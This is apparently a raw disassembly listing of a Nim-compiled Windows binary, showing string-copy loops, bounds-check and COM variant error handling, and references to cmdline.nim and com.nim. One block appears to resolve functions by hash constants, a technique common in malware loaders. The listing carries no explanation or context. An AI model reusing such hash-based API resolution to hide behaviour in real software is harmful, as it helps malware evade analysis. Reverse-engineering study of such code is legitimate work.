mov rax, qword [0x004714c0]
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0xc0], rax
call fcn.00417680
mov r9, qword [rsp + 0x58]
mov r8d, 0x41500
mov rcx, rbx
mov qword [rsp + 0x20], 2
lea rdx, [0x00428cf0]
mov qword [rsp + 0xc8], rax
call fcn.0040f570
nop
movaps xmm6, xmmword [rsp + 0xe0]
add rsp, 0xf8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
cmp qword [rsi], 7
mov r8d, 7
mov rcx, r12
cmovge r8, qword [rsi]
mov qword [rsp + 0x48], r8
lea rdx, [r8 + 0x21]
call fcn.00403600
mov r8, qword [rsp + 0x48]
lea rbx, [rax + 0x10]
mov qword [rax + 8], 1
lea r9, [rax + 0x20]
mov qword [rbx + 8], r8
lea r8, [rsi + 0x10]
mov qword [rax + 0x10], 0
mov rcx, qword [rsi]
test rcx, rcx
mov qword [rax + 0x10], rcx
js 0x418db1
lea rdx, [rax + 0x30]
cmp r8, rdx
lea rdx, [rsi + 0x20]
setae r10b
cmp r9, rdx
setae dl
or r10b, dl
je 0x4196b7
cmp rcx, 0xe
jbe 0x4196b7
lea r11, [rcx + 1]
sub rsi, rax
mov rdx, r11
and rdx, 0xfffffffffffffff0
lea r10, [rax + rdx + 0x20]
mov rdx, r9
nop
nop word cs:[rax + rax]
movdqu xmm1, xmmword [rdx + rsi - 0x10]
add rdx, 0x10
movups xmmword [rdx - 0x10], xmm1
cmp rdx, r10
jne 0x418ff0
mov rdx, r11
and rdx, 0xfffffffffffffff0
cmp rdx, r11
je 0x418db1
movzx r10d, byte [r8 + rdx]
cmp rdx, rcx
mov byte [rax + rdx + 0x20], r10b
lea r10, [rdx + 1]
jge 0x418db1
movzx r11d, byte [r8 + rdx + 1]
cmp r10, rcx
mov byte [r9 + rdx + 1], r11b
lea r11, [rdx + 2]
jge 0x418db1
movzx r10d, byte [r8 + rdx + 2]
cmp r11, rcx
mov byte [r9 + rdx + 2], r10b
lea r10, [rdx + 3]
jge 0x418db1
movzx r11d, byte [r8 + rdx + 3]
cmp r10, rcx
mov byte [r9 + rdx + 3], r11b
lea r11, [rdx + 4]
jge 0x418db1
movzx r10d, byte [r8 + rdx + 4]
cmp r11, rcx
mov byte [r9 + rdx + 4], r10b
lea r10, [rdx + 5]
jge 0x418db1
movzx r11d, byte [r8 + rdx + 5]
cmp r10, rcx
mov byte [r9 + rdx + 5], r11b
lea r11, [rdx + 6]
jge 0x418db1
movzx r10d, byte [r8 + rdx + 6]
cmp r11, rcx
mov byte [r9 + rdx + 6], r10b
lea r10, [rdx + 7]
jge 0x418db1
movzx r11d, byte [r8 + rdx + 7]
cmp r10, rcx
mov byte [r9 + rdx + 7], r11b
lea r11, [rdx + 8]
jge 0x418db1
movzx r10d, byte [r8 + rdx + 8]
cmp r11, rcx
mov byte [r9 + rdx + 8], r10b
lea r10, [rdx + 9]
jge 0x418db1
movzx r11d, byte [r8 + rdx + 9]
cmp r10, rcx
mov byte [r9 + rdx + 9], r11b
lea r9, [rdx + 0xa]
jge 0x418db1
movzx r10d, byte [r8 + rdx + 0xa]
cmp rcx, r9
mov byte [rax + rdx + 0x2a], r10b
lea r10, [rdx + 0xb]
jle 0x418db1
movzx r9d, byte [r8 + rdx + 0xb]
cmp rcx, r10
mov byte [rax + rdx + 0x2b], r9b
lea r9, [rdx + 0xc]
jle 0x418db1
movzx r10d, byte [r8 + rdx + 0xc]
cmp rcx, r9
mov byte [rax + rdx + 0x2c], r10b
lea r10, [rdx + 0xd]
jle 0x418db1
movzx r9d, byte [r8 + rdx + 0xd]
cmp rcx, r10
mov byte [rax + rdx + 0x2d], r9b
lea r9, [rdx + 0xe]
jle 0x418db1
movzx edx, byte [r8 + rdx + 0xe]
mov byte [rax + r9 + 0x20], dl
jmp 0x418db1
mov rcx, r12
call fcn.004159f0
mov rbx, rax
lea rax, [0x004755e0]
mov qword [rbx], rax
lea rax, str.IndexDefect
mov qword [rbx + 0x10], rax
mov rax, qword [r14]
test rax, rax
je 0x4191a4
cmp qword [rax], 0
jg 0x419492
mov edx, 0x4c
mov rcx, r12
call fcn.00403600
lea r8, [0x00428c70]
xor edx, edx
mov qword [rax + 8], 1
lea r9, [rax + 0x10]
movups xmmword [rax + 0x10], xmm6
movzx ecx, byte [r8 + rdx]
mov byte [rax + rdx + 0x20], cl
add rdx, 1
cmp rdx, 0x2c
jne 0x4191ca
cmp qword [rbx + 0x10], 0
mov qword [rbx + 0x18], r9
mov qword [rbx + 8], 0
jne 0x4191fb
lea rax, str.IndexDefect
mov qword [rbx + 0x10], rax
lea rax, str.paramStr
mov qword [rsp + 0xc8], 0xf6
mov qword [rsp + 0xc0], rax
lea rax, str.cmdline.nim
mov qword [rsp + 0xd0], rax
mov rcx, qword [rbx + 0x20]
lea rdx, [0x004716d0]
call fcn.0040c4c0
mov rsi, qword [rsp + 0x58]
mov qword [rbx + 0x20], rax
mov rdx, qword [rax]
lea rcx, [rdx + 1]
mov qword [rax], rcx
imul rax, rdx, 0x18
mov ecx, 6
add rax, qword [rbx + 0x20]
add rax, 0x10
mov rdi, rax
rep movsd dword [rdi], dword [rsi]
mov rcx, rbx
xor ebx, ebx
call fcn.00409ea0
lea rdx, [0x004714d0]
mov rcx, r15
call fcn.0040c4c0
mov rdi, qword [rax]
mov r15, rax
lea rax, [rdi + 1]
mov qword [r15], rax
jmp 0x418db1
cmp qword [rbx], 7
mov edi, 7
mov rcx, r12
cmovge rdi, qword [rbx]
lea rdx, [rdi + 0x21]
call fcn.00403600
lea r8, [rbx + 0x10]
lea rsi, [rax + 0x10]
mov qword [rax + 8], 1
mov qword [rsi + 8], rdi
lea r9, [rax + 0x20]
mov qword [rax + 0x10], 0
mov rcx, qword [rbx]
test rcx, rcx
mov qword [rax + 0x10], rcx
js 0x418d87
lea rdx, [rax + 0x30]
cmp r8, rdx
lea rdx, [rbx + 0x20]
setae r10b
cmp r9, rdx
setae dl
or r10b, dl
je 0x419701
cmp rcx, 0xe
jbe 0x419701
lea r10, [rcx + 1]
sub rbx, rax
mov rdx, r10
and rdx, 0xfffffffffffffff0
lea r11, [rax + rdx + 0x20]
mov rdx, r9
movdqu xmm2, xmmword [rdx + rbx - 0x10]
add rdx, 0x10
movups xmmword [rdx - 0x10], xmm2
cmp rdx, r11
jne 0x419310
mov rdx, r10
and rdx, 0xfffffffffffffff0
cmp rdx, r10
je 0x418d87
movzx r10d, byte [r8 + rdx]
lea r11, [rdx + 1]
cmp rdx, rcx
mov byte [rax + rdx + 0x20], r10b
jge 0x418d87
movzx r10d, byte [r8 + rdx + 1]
cmp r11, rcx
mov byte [r9 + rdx + 1], r10b
lea r10, [rdx + 2]
jge 0x418d87
movzx r11d, byte [r8 + rdx + 2]
cmp rcx, r10
mov byte [rax + rdx + 0x22], r11b
lea r11, [rdx + 3]
jle 0x418d87
movzx r10d, byte [r8 + rdx + 3]
lea rbx, [rdx + 4]
cmp rcx, r11
mov byte [rax + rdx + 0x23], r10b
jle 0x418d87
movzx r10d, byte [r8 + rdx + 4]
cmp rbx, rcx
mov byte [r9 + rdx + 4], r10b
lea r10, [rdx + 5]
jge 0x418d87
movzx r11d, byte [r8 + rdx + 5]
cmp rcx, r10
mov byte [rax + rdx + 0x25], r11b
lea r11, [rdx + 6]
jle 0x418d87
movzx r10d, byte [r8 + rdx + 6]
cmp rcx, r11
mov byte [rax + rdx + 0x26], r10b
lea r10, [rdx + 7]
jle 0x418d87
movzx r11d, byte [r8 + rdx + 7]
cmp rcx, r10
mov byte [rax + rdx + 0x27], r11b
lea r11, [rdx + 8]
jle 0x418d87
movzx r10d, byte [r8 + rdx + 8]
lea rbx, [rdx + 9]
cmp rcx, r11
mov byte [rax + rdx + 0x28], r10b
jle 0x418d87
movzx r10d, byte [r8 + rdx + 9]
cmp rbx, rcx
mov byte [r9 + rdx + 9], r10b
lea r10, [rdx + 0xa]
jge 0x418d87
movzx r11d, byte [r8 + rdx + 0xa]
cmp rcx, r10
mov byte [rax + rdx + 0x2a], r11b
lea r11, [rdx + 0xb]
jle 0x418d87
movzx r10d, byte [r8 + rdx + 0xb]
cmp r11, rcx
mov byte [r9 + rdx + 0xb], r10b
lea r9, [rdx + 0xc]
jge 0x418d87
movzx r10d, byte [r8 + rdx + 0xc]
cmp rcx, r9
mov byte [rax + rdx + 0x2c], r10b
lea r10, [rdx + 0xd]
jle 0x418d87
movzx r9d, byte [r8 + rdx + 0xd]
cmp rcx, r10
mov byte [rax + rdx + 0x2d], r9b
lea r9, [rdx + 0xe]
jle 0x418d87
movzx edx, byte [r8 + rdx + 0xe]
mov byte [rax + r9 + 0x20], dl
jmp 0x418d87
mov rcx, qword [rsp + 0x58]
mov rdx, rbp
mov qword [rsp + 0xc0], 0
call fcn.004079e0
mov rax, qword [r14]
xor edx, edx
mov rdi, qword [rsp + 0xc0]
test rax, rax
je 0x4194c0
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x58]
sub rdx, 1
mov qword [rsp + 0xc0], 0
call fcn.004079e0
test rdi, rdi
mov rsi, qword [rsp + 0xc0]
je 0x4198e2
mov rdx, qword [rdi]
test rsi, rsi
je 0x4198db
mov rax, qword [rsi]
lea r11, [rdx + rax + 0x13]
mov eax, 7
mov rcx, r12
cmp r11, 7
cmovl r11, rax
lea rdx, [r11 + 0x21]
mov qword [rsp + 0x48], r11
call fcn.00403600
mov r11, qword [rsp + 0x48]
xor edx, edx
lea r9, [rax + 0x10]
mov qword [rax + 8], 1
mov rcx, r9
mov qword [rsp + 0x78], rax
lea r8, [r11 + 0x11]
call fcn.0041b308
mov r11, qword [rsp + 0x48]
test rdi, rdi
mov r10, qword [rsp + 0x78]
mov dword [rax + 0x10], 0x65646e69
mov r9, rax
mov word [rax + 0x14], 0x2078
mov byte [rax + 0x16], 0
mov qword [rax + 8], r11
mov qword [r10 + 0x10], 6
je 0x4195f6
mov rdx, qword [rdi]
lea rax, [rdi + 0x10]
test rdx, rdx
js 0x4195f3
lea r8, [rdi + 0x20]
lea rcx, [r10 + 0x26]
lea r11, [r10 + 0x36]
cmp r8, rcx
setbe r8b
cmp rax, r11
setae al
or r8b, al
je 0x419968
cmp rdx, 0xe
jbe 0x419968
lea r11, [rdx + 1]
xor eax, eax
mov r8, r11
and r8, 0xfffffffffffffff0
movdqu xmm4, xmmword [rdi + rax + 0x10]
movups xmmword [rcx + rax], xmm4
add rax, 0x10
cmp rax, r8
jne 0x4195b9
mov rax, r11
and rax, 0xfffffffffffffff0
cmp rax, r11
jne 0x4195dd
jmp 0x4195f0
mov rax, r8
movzx r8d, byte [rdi + rax + 0x10]
cmp rdx, rax
mov byte [rcx + rax], r8b
lea r8, [rax + 1]
jg 0x4195da
mov rdx, qword [rdi]
add qword [r9], rdx
mov rax, qword [r10 + 0x10]
test rsi, rsi
movabs rdi, 0x206e6920746f6e20
lea rax, [r9 + rax + 0x10]
mov qword [rax], rdi
mov dword [rax + 8], 0x2e2e2030
mov word [rax + 0xc], 0x20
mov rax, qword [r10 + 0x10]
lea rdx, [rax + 0xd]
mov qword [r10 + 0x10], rdx
je 0x4191dd
mov rcx, qword [rsi]
lea r8, [rsi + 0x10]
lea rdx, [r9 + rax + 0x1d]
test rcx, rcx
js 0x4196af
lea rax, [r9 + rax + 0x2d]
cmp r8, rax
lea rax, [rsi + 0x20]
setae r8b
cmp rdx, rax
setae al
or r8b, al
je 0x41994a
cmp rcx, 0xe
jbe 0x41994a
lea r8, [rcx + 1]
xor eax, eax
mov r10, r8
and r10, 0xfffffffffffffff0
movdqu xmm5, xmmword [rsi + rax + 0x10]
movups xmmword [rdx + rax], xmm5
add rax, 0x10
cmp rax, r10
jne 0x419675
mov rax, r8
and rax, 0xfffffffffffffff0
cmp r8, rax
jne 0x419699
jmp 0x4196ac
mov rax, r8
movzx r8d, byte [rsi + rax + 0x10]
cmp rax, rcx
mov byte [rdx + rax], r8b
lea r8, [rax + 1]
jl 0x419696
mov rcx, qword [rsi]
add qword [r9], rcx
jmp 0x4191dd
add rcx, 1
xor edx, edx
movzx r8d, byte [rsi + rdx + 0x10]
mov byte [rax + rdx + 0x20], r8b
add rdx, 1
cmp rdx, rcx
jne 0x4196bd
jmp 0x418db1
lea rdx, [0x004714d0]
mov rcx, r15
call fcn.0040c4c0
mov rdi, qword [rax]
mov r15, rax
lea rax, [rdi + 1]
mov qword [r15], rax
jmp 0x418db1
mov ecx, 2
jmp 0x41805f
add rcx, 1
xor edx, edx
movzx r8d, byte [rbx + rdx + 0x10]
mov byte [rax + rdx + 0x20], r8b
add rdx, 1
cmp rdx, rcx
jne 0x419707
jmp 0x418d87
lea rcx, [0x00428c40]
mov edx, 0x2b9dc7a4
call fcn.00403ad0
mov edx, 0x1b161aa4
mov rcx, rax
call fcn.00403d80
mov rcx, rax
mov qword [0x00475740], rax
call fcn.00403800
mov qword [0x00471590], rax
jmp 0x4185e4
mov qword [rsp + 0x48], 0
xor r14d, r14d
jmp 0x418ac8
call fcn.00403a70
mov r11, qword [0x00471590]
test r11, r11
je 0x41851f
mov r9, qword [r11]
lea r8, [r11 + 0x10]
mov rdx, qword [rax]
lea r10, [r9 + 1]
lea rcx, [rax + rdx + 0x10]
test r10, r10
jg 0x41841b
add rdx, r9
mov qword [rax], rdx
jmp 0x41851f
xor ecx, ecx
jmp 0x4183de
call fcn.004174a0
mov rsi, qword [rsp + 0x60]
mov qword [rsi], rax
jmp 0x418b56
xor ecx, ecx
call fcn.0040fa60
jmp 0x418ae1
lea rbp, str.VariantConversionError
mov rcx, r12
call fcn.004159f0
mov edx, 1
mov ecx, 0x2008
mov rdi, rax
lea rax, [0x004715b0]
mov qword [rdi + 0x10], rbp
mov qword [rdi], rax
call fcn.00407f60
lea rcx, [0x0046dd60]
mov rdx, rax
call fcn.00404aa0
mov qword [rdi + 8], 0
mov rdx, rbp
mov rcx, rdi
mov qword [rdi + 0x18], rax
lea r9, str.com.nim
mov qword [rsp + 0x20], 0x1e4
lea r8, str.toVariant
call fcn.00409f20
jmp 0x418e73
call fcn.004174a0
mov qword [r13], rax
jmp 0x418e28
call fcn.004174a0
mov rdi, qword [rsp + 0x60]
mov qword [rdi], rax
jmp 0x418e1d
lea rsi, str.VariantConversionError
mov rcx, r12
call fcn.004159f0
mov edx, 1
mov ecx, 0x2011
mov rbx, rax
lea rax, [0x004715b0]
mov qword [rbx + 0x10], rsi
mov qword [rbx], rax
call fcn.00407f60
lea rcx, [0x0046dd60]
mov rdx, rax
call fcn.00404aa0
mov qword [rbx + 8], 0
mov rdx, rsi
mov rcx, rbx
mov qword [rbx + 0x18], rax
lea r9, str.com.nim
mov qword [rsp + 0x20], 0x1e4
lea r8, str.toVariant
call fcn.00409f20
jmp 0x418bbb
call fcn.004174a0
mov qword [r13], rax
jmp 0x418b6f
xor eax, eax
jmp 0x4194fa
xor edx, edx
jmp 0x4194ee
add r9, 1
xor edx, edx
movzx r10d, byte [rcx + rdx + 0x10]
mov byte [r8 + rdx], r10b
add rdx, 1
cmp rdx, r9
jne 0x4198ef
jmp 0x418228
lea rcx, [0x00427f60]
jmp 0x4187ec
xor edx, edx
movzx r9d, byte [r8 + rdx]
mov byte [rcx + rdx], r9b
add rdx, 1
cmp rdx, r10
jl 0x419915
jmp 0x418489
add r8, 1
xor edx, edx
movzx r9d, byte [rbx + rdx + 0x10]
mov byte [rcx + rdx], r9b
add rdx, 1
cmp rdx, r8
jne 0x419932
jmp 0x418519
add rcx, 1
xor eax, eax
movzx r8d, byte [rsi + rax + 0x10]
mov byte [rdx + rax], r8b
add rax, 1
cmp rcx, rax
jne 0x419950
jmp 0x4196ac
add rdx, 1
xor eax, eax
movzx ecx, byte [rdi + rax + 0x10]
mov byte [r10 + rax + 0x26], cl
add rax, 1
cmp rdx, rax
jne 0x41996e
jmp 0x4195f0
add rdx, r9
mov qword [rax], rdx
jmp 0x418498